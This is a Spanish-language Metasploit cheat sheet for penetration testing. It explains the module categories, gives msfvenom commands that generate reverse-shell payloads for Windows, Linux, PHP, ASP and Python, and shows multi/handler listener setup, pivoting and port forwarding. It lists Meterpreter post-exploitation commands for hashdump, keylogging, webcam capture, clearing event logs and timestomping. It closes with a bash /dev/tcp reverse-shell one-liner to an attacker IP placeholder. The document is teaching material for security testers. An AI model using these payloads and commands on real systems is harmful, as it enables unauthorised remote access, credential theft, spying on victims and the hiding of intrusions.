Metasploit

Conceptos

Metasploit es el marco de explotación más ampliamente utilizado. Metasploit es una herramienta poderosa que puede apoyar todas las fases de un compromiso de pruebas de penetración, desde la recopilación de información hasta la post-explotación.

Hay 2 versiones:

  • Metasploit Pro: La versión comercial que facilita la automatización y gestión de tareas. Esta versión cuenta con una interfaz gráfica de usuario (GUI).

  • Metasploit Framework: La versión de código abierto que funciona desde la línea de comandos, es la que viene instalada por defecto en Kali Linux.

Componentes principales

  • Exploit: Un fragmento de código que utiliza una vulnerabilidad presente en el sistema objetivo.

  • Vulnerabilidad: Una falla en el diseño, en la codificación o en la lógica que afecta al sistema objetivo. La explotación de una vulnerabilidad puede resultar en la revelación de información confidencial o permitir que el atacante ejecute código en el sistema objetivo.

  • Payload: Un exploit aprovechará una vulnerabilidad. Sin embargo, si queremos que el exploit tenga el resultado que deseamos (acceder al sistema objetivo, leer información confidencial, etc.), necesitamos usar un payload. Los payloads son el código que se ejecutará en el sistema objetivo.

Dentro de estos componentes hay diferentes modulos que nos ayudaran a realizar nuestras pruebas de penetración:

Auxiliary

Cualquier módulo de soporte, como escáneres, crawlers y fuzzers, se puede encontrar aquí.

root@j4ckie:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 auxiliary/ auxiliary/ 
├── admin 
├── analyze 
├── bnat 
├── client 
├── cloud 
├── crawler 
├── docx 
├── dos 
├── example.py 
├── example.rb 
├── fileformat 
├── fuzzers 
├── gather 
├── parser 
├── pdf 
├── scanner 
├── server 
├── sniffer 
├── spoof 
├── sqli 
├── voip 
└── vsploit  
20 directories, 2 files`
  

Encoders

Los codificadores te permitirán codificar el exploit y la carga útil con la esperanza de que una solución antivirus basada en firmas las ignore. Las soluciones de seguridad y antivirus basadas en firmas tienen una base de datos de amenazas conocidas. Detectan amenazas comparando los archivos sospechosos con esta base de datos y emiten una alerta si hay una coincidencia. Por lo tanto, los codificadores pueden tener una tasa de éxito limitada, ya que las soluciones antivirus pueden realizar controles adicionales.

root@j4ckie:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 encoders/ encoders/ 
├── cmd 
├── generic 
├── mipsbe 
├── mipsle 
├── php 
├── ppc 
├── ruby 
├── sparc 
├── x64 
└── x86  
10 directories, 0 files

Evasion

Si bien los codificadores codificarán la carga útil, no deben considerarse un intento directo de evadir el software antivirus. Por otro lado, los módulos de "evasión" intentarán hacerlo, con más o menos éxito.

root@j4ckie:/opt/metasploit-framework/embedded/framework/modules# tree -L 2 evasion/ evasion/ 
└── windows     
├── applocker_evasion_install_util.rb     
├── applocker_evasion_msbuild.rb     
├── applocker_evasion_presentationhost.rb     
├── applocker_evasion_regasm_regsvcs.rb     
├── applocker_evasion_workflow_compiler.rb     
├── process_herpaderping.rb     
├── syscall_inject.rb     
├── windows_defender_exe.rb     
└── windows_defender_js_hta.rb  
1 directory, 9 files 

Exploits

Exploits organizados de forma ordenada por sistema objetivo.

root@j4ckie:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 exploits/ exploits/ 
├── aix 
├── android 
├── apple_ios 
├── bsd 
├── bsdi 
├── dialup 
├── example_linux_priv_esc.rb 
├── example.py 
├── example.rb 
├── example_webapp.rb 
├── firefox 
├── freebsd 
├── hpux 
├── irix 
├── linux 
├── mainframe 
├── multi 
├── netware
├── openbsd 
├── osx 
├── qnx 
├── solaris
├── unix 
└── windows  
20 directories, 4 files

NOPs

Los NOPs (No OPeration) no hacen nada, literalmente. En la familia de procesadores Intel x86 se representan con 0x90, después de lo cual el CPU no hace nada durante un ciclo. A menudo se utilizan como un búfer para lograr tamaños de carga útil consistentes.

root@j4ckie:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 nops/ nops/ 
├── aarch64 
├── armle 
├── cmd 
├── mipsbe 
├── php 
├── ppc 
├── sparc 
├── tty 
├── x64 
└── x86  
10 directories, 0 files

Payloads

Los payloads son códigos que se ejecutarán en el sistema de destino. Los exploits aprovecharán una vulnerabilidad en el sistema de destino, pero para lograr el resultado deseado, necesitaremos un payload. Ejemplos podrían ser: obtener una shell, cargar un malware o puerta trasera en el sistema de destino, ejecutar un comando o lanzar calc.exe como prueba de concepto para agregar al informe de prueba de penetración. Iniciar la calculadora en el sistema de destino de forma remota mediante el lanzamiento de la aplicación calc.exe es una forma benigna de mostrar que podemos ejecutar comandos en el sistema de destino. Ejecutar comandos en el sistema de destino ya es un paso importante, pero tener una conexión interactiva que le permita escribir comandos que se ejecutarán en el sistema de destino es mejor. Una línea de comando interactiva de este tipo se llama "shell". Metasploit ofrece la capacidad de enviar diferentes payloads que pueden abrir shells en el sistema de destino.

root@j4ckie:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 payloads/ payloads/ 
├── adapters 
├── singles 
├── stagers 
└── stages  
4 directories, 0 files 

Verás tres directorios diferentes en "payloads": "singles", "stagers" y "stages".

  • Adapters envuelven los "single payloads" para convertirlos a diferentes formatos. Por ejemplo, un "single payload" normal se puede envolver dentro de un adaptador de Powershell, que creará un solo comando de Powershell que ejecutará el payload.

  • Singles son "payloads" autocontenidos (agregar usuario, lanzar notepad.exe, etc.) que no necesitan descargar un componente adicional para ejecutarse.

  • Stagers son responsables de configurar un canal de conexión entre Metasploit y el sistema objetivo. Útil cuando se trabaja con "staged payloads" cargarán primero un "stager" en el sistema objetivo y luego descargarán el resto del "payload" ("stage"). Esto proporciona algunas ventajas, ya que el tamaño inicial del "payload" será relativamente pequeño en comparación con el "payload" completo enviado de una sola vez.

  • Stages son descargados por el "stager". Esto le permitirá usar "payloads" de mayor tamaño.

Metasploit tiene una forma sutil de ayudarte a identificar "single payloads" (también llamados "inline payloads") y "staged payloads".

  • windows/meterpreter/reverse_tcp

  • java/meterpreter/reverse_tcp

  • php/meterpreter/reverse_tcp

  • php/meterpreter_reverse_tcp

  • ruby/shell_reverse_tcp

  • cmd/unix/interact

  • cmd/unix/reverse

  • cmd/unix/reverse_perl

  • cmd/unix/reverse_netcat_gaping

  • windows/meterpreter/reverse_nonx_tcp

  • windows/meterpreter/reverse_ord_tcp

  • windows/shell/reverse_tcp

  • generic/shell_reverse_tcp

Son ambos "reverse shells" de Windows. El primero es un "single payload", como indica el "_" entre "shell" y "reverse". Mientras que el último es un "staged payload", como indica el "/" entre "shell" y "reverse".

Post

Los módulos "Post" serán útiles en la etapa final del proceso de pruebas de penetración mencionado anteriormente, la post-explotación.

root@j4ckie:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 post/ post/ 
├── aix 
├── android 
├── apple_ios 
├── bsd 
├── firefox 
├── hardware 
├── linux 
├── multi 
├── networking 
├── osx 
├── solaris 
└── windows  
12 directories, 0 files 

Msfvenom

Msfvenom es una herramienta de la suite de herramientas de Metasploit que se utiliza para generar payloads personalizados. La herramienta msfvenom permite a los usuarios crear diferentes tipos de payloads, incluyendo payloads para exploits de vulnerabilidades, troyanos de acceso remoto (RATs), payloads para ejecución de comandos, entre otros.

Diferencias entre payload Staged y Non-Staged

Un payload staged se refiere a un ataque en el que el atacante divide el payload en varias partes o etapas, lo que le permite evadir las defensas de seguridad en el sistema de destino. La primera etapa del payload staged suele ser un pequeño archivo que se envía al sistema objetivo y se ejecuta para establecer una conexión con el atacante o con un servidor controlado por el atacante. Una vez que se establece la conexión, el atacante puede enviar y ejecutar el resto de las etapas del payload para llevar a cabo el ataque.

Por otro lado, un payload non-staged es aquel que se entrega en una sola pieza. No hay necesidad de establecer una conexión separada o realizar una descarga adicional de archivos para ejecutar el ataque. Este tipo de payload es más simple y menos sofisticado que un staged payload, pero también es más fácil de detectar por los sistemas de seguridad.

Payload Staged

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4443 -f exe -o payload.exe
msfconsole -q # para abirir la terminal
use exploit/multi/handler # tipo de explotación
set payload windows/x64/meterpreter/reverse_tcp # listener windows 
set LHOST <ip> # ip del listener
set LPORT 4443 # puerto del listener
run # ejecutar y ponerse en escucha

Con Linux

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=4443 -f elf -o rev
use exploit/multi/handler # tipo de explotación
set payload linux/x64/meterpreter_reverse_tcp # listener windows 
set LHOST <ip> # ip del listener
set LPORT 4443 # puerto del listener
run # ejecutar y ponerse en escucha

Payload Non-Staged

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=4443 -f exe -o payload.exe
msfconsole -q # para abirir la terminal
use exploit/multi/handler # tipo de explotación
set payload windows/x64/meterpreter/reverse_tcp # listener windows 
set LHOST <ip> # ip del listener
set LPORT 4443 # puerto del listener
run # ejecutar y ponerse en escucha

Estos payloads están enfocados para cuando se hace el proceso entero con metasploit, pero si solamente queremos que msfvenom nos haga el payload y que el listener se haga por ejemplo con ncat se tiene que hacer con el siguiente comanda

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4443 -f exe -o payload.exe

RV Shells

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.ex

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

Recuerda que al crear esta rev_shell hay que entrar dentro y quitar las comillas que hay cuando lo crea metasploit.

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python

msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

Pivoting

meterpreter > run autoroute -s 10.10.10.0/24

Una vez hayamos hecho autoroute y tengamos acceso a la red interna que no teniamos antes, se pueden utilizar todos módulos de Metasploit (escanear, exploit etc).

Port Forwading

meterpreter > portfwd add -l <puerto local> -p <puerto maquina victima> -r <IP victima>

Meterpreter

Comandos principales

Comando
Descripción

background

Envía la sesión actual al segundo plano

exit

Termina la sesión de Meterpreter

guid

Obtiene el GUID (Identificador único global) de la sesión

help

Muestra el menú de ayuda

info

Muestra información sobre un módulo de Post

irb

Abre un shell interactivo de Ruby en la sesión actual

load

Carga una o varias extensiones de Meterpreter

migrate

Permite migrar Meterpreter a otro proceso

run

Ejecuta un script o módulo de Meterpreter o Post

sessions

Cambia rápidamente a otra sesión

Filtrar exploits y busqueda

Comando
Descripción

search [keyword]

Busca exploits y otros módulos que contengan una palabra clave específica.

search type:exploit [keyword]

Busca específicamente exploits, con la opción de agregar una palabra clave para filtrar los resultados.

search platform:[platform]

Busca exploits y otros módulos para una plataforma específica.

search cve:[cve]

Busca exploits específicos para una vulnerabilidad de CVE específica.

Comandos del sistema de archivos

Comando
Descripción

cd

Cambia de directorio

ls

Lista los archivos en el directorio actual (dir también funciona)

pwd

Muestra el directorio de trabajo actual

edit

Permite editar un archivo

cat

Muestra el contenido de un archivo en la pantalla

rm

Elimina el archivo especificado

search

Busca archivos

upload

Sube un archivo o directorio

download

Descarga un archivo o directorio

Comandos de redes

Comando
Descripción

arp

Muestra la caché ARP (Protocolo de resolución de direcciones) del host

ifconfig

Muestra las interfaces de red disponibles en el sistema objetivo

netstat

Muestra las conexiones de red

portfwd

Reenvía un puerto local a un servicio remoto

route

Permite ver y modificar la tabla de enrutamiento

Comandos del sistema

Comando
Descripción

clearev

Borra los registros de eventos

execute

Ejecuta un comando

getpid

Muestra el identificador de proceso actual

getuid

Muestra el usuario que ejecuta Meterpreter

kill

Termina un proceso

pkill

Termina procesos por nombre

ps

Lista los procesos en ejecución

reboot

Reinicia el equipo remoto

shell

Abre una shell de comandos del sistema

shutdown

Apaga el equipo remoto

sysinfo

Obtiene información sobre el sistema remoto, como el sistema operativo

Otros comandos (estos se enumerarán en diferentes categorías de menú en el menú de ayuda)

Comando
Descripción

idletime

Devuelve el número de segundos que el usuario remoto ha estado inactivo

keyscan_dump

Muestra el búfer de pulsaciones de teclas

keyscan_start

Inicia la captura de pulsaciones de teclas

keyscan_stop

Detiene la captura de pulsaciones de teclas

screenshare

Permite ver el escritorio del usuario remoto en tiempo real

Post-Explotación

Comando
Descripción

getuid

Muestra el usuario actual que está ejecutando Meterpreter.

getpid

Muestra el ID del proceso actual que está ejecutando Meterpreter.

getprivs

Muestra los privilegios actuales del usuario que está ejecutando Meterpreter.

ps

Muestra una lista de procesos en el sistema.

kill

Termina un proceso especificado.

execute

Ejecuta un comando en el sistema remoto.

download

Descarga un archivo del sistema remoto a la máquina del atacante.

upload

Sube un archivo desde la máquina del atacante al sistema remoto.

shell

Abre una consola de comandos en el sistema remoto.

sysinfo

Muestra información del sistema remoto, como el nombre de la máquina, el sistema operativo, la versión del kernel, etc.

hashdump

Dump los hashes de contraseñas almacenados en el sistema.

getsystem

Intenta elevar los privilegios de la sesión actual a SYSTEM.

migrate

Mueve la sesión actual de Meterpreter a otro proceso en ejecución.

portfwd

Reenvía un puerto local en la máquina del atacante al puerto de un servicio en el sistema remoto.

timestomp

Cambia la hora de creación, modificación y/o acceso de un archivo.

getfiletype

Obtiene información del tipo de archivo de un archivo especificado.

enum_logged_on_users

Enumera los usuarios que han iniciado sesión en el sistema remoto.

hashdump

Dump los hashes de contraseñas almacenados en el sistema.

keylog_recorder

Registra las pulsaciones de teclas en el sistema remoto.

screenshot

Captura una imagen de la pantalla del sistema remoto.

webcam_list

Enumera las cámaras web conectadas al sistema remoto.

webcam_snap

Captura una imagen desde una cámara web conectada al sistema remoto.

webcam_stream

Transmite vídeo en directo desde una cámara web conectada al sistema remoto.

search -f file.txt

Para buscar archivos dentro del sistema comprometido

Migrar entre procesos

Comando
Descripción

migrate

Mueve Meterpreter a otro proceso en el mismo sistema operativo.

migrate -L

Lista los procesos que Meterpreter puede migrar.

migrate <PID>

Mueve Meterpreter al proceso con el ID de proceso (PID) especificado.

migrate -N <nombre>

Mueve Meterpreter al proceso con el nombre especificado.

migrate -R

Mueve Meterpreter a un proceso aleatorio.

migrate -H

Muestra la ayuda para el comando migrate.

Tratamiento TTY meterpreter

shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ponerte en escucha por otro puerto
nc -lvnp 4443
Y ejecutar lo siguiente en la shell de metasploit
bash -i >& /dev/tcp/<IP>/4443 0>&1

Last updated